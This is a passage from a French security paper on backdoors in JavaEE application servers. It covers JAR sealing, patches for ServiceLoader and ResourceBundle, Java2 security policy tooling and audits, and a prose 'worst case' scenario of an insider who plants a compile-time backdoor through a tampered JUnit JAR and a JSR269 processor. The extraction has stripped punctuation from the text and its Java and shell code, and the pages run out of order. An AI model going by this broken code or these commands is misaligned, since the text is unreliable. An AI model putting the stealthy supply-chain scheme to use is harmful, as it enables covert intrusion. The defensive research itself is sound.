Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

